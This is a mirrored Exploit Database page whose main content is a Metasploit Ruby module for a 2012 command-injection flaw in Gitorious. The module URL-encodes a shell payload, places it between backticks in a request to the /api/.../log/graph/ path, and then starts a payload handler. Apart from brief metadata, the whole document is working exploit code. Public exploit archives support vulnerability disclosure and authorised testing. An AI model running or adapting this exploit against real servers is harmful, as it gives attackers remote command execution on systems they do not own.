Gitorious – Arbitrary Command Execution (Metasploit)

• Exploit Database
• 54 阅读

• 作者： Metasploit
  日期： 2012-01-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/18393/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Gitorious Arbitrary Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  					in gitorious. Unvalidated input is send to the shell allowing command execution.
  			},
  			'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'BadChars' => "\x60",
  					'DisableNops' => true,
  					'Space' => 31337,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  						}
  				},
  			'Platform' => [ 'unix', 'linux' ],
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Jan 19 2012'
  			))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
  				], self.class)
  	end
  
  	def exploit
  		# Make sure the URI begins with a slash
  		uri = datastore['URI']
  		if uri[0,1] != '/'
  			uri = '/' + uri
  		end
  
  		# Make sure the URI ends without a slash, because it's already part of the URI
  		if uri[-1, 1] == '/'
  			uri = uri[0, uri.length-1]
  		end
  
  		command = Rex::Text.uri_encode(payload.raw, 'hex-all')
  		command.gsub!("%20","%2520")
  		res = send_request_cgi({
  			'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
  			'method'=> 'GET',
  			'headers' =>
  			{
  				'Connection' => 'Close',
  			}
  		}) #default timeout, we don't care about the response
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  		end
  
  		handler
  	end
  
  end